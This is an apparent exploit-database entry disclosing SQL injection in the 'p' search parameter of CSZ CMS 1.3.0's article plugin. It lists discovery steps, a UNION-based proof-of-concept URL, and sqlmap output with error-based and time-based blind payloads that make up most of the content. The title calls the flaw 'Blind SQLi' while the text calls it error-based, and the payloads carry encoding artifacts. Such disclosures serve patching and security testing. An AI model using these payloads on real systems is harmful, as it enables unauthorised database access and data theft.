CSZ CMS 1.3.0 SQL Injection

`# Exploit Title: CSZ CMS 1.3.0 - 'Multiple' Blind SQLi  
# Date: 2021-04-22  
# Exploit Author: Dogukan Dincer  
# Vendor Homepage: https://www.cszcms.com/  
# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download  
# Version: 1.3.0  
# Tested on: Kali Linux, Windows 10, PHP 7.2.4, Apache 2.4  
  
# Discovery of Vulnerability  
  
- First go to CSZ CMS web page  
- then go to http://yourhost/plugin/article directory on CMS.  
- To see the error-based SQLi vulnerability, the ' character is entered in the search section.  
- It is determined that the "p" parameter creates the vulnerability.  
- Databases can be accessed with manual or automated tools.  
  
# Proof of Concept  
  
http://127.0.0.1/csz-cms/plugin/article/search?p=3D1'") UNION ALL SELECT CONCAT(0x717a7a6b71,0x5449414d6c63596c746759764a614d64727476796366686f4e6a7a474c4a414d6b616a4269684956,0x716a717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -  
  
# Sqlmap output:  
  
Parameter: p (GET)  
Type: error-based  
Title: MySQL >=3D 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)  
Payload: p=3D1'") AND EXTRACTVALUE(8555,CONCAT(0x5c,0x717a7a6b71,(SELECT (ELT(8555=3D8555,1))),0x716a717a71))-- OUUO  
  
Type: time-based blind  
Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=3D1'") AND (SELECT 3910 FROM (SELECT(SLEEP(5)))qIap)-- ogLS  
  
`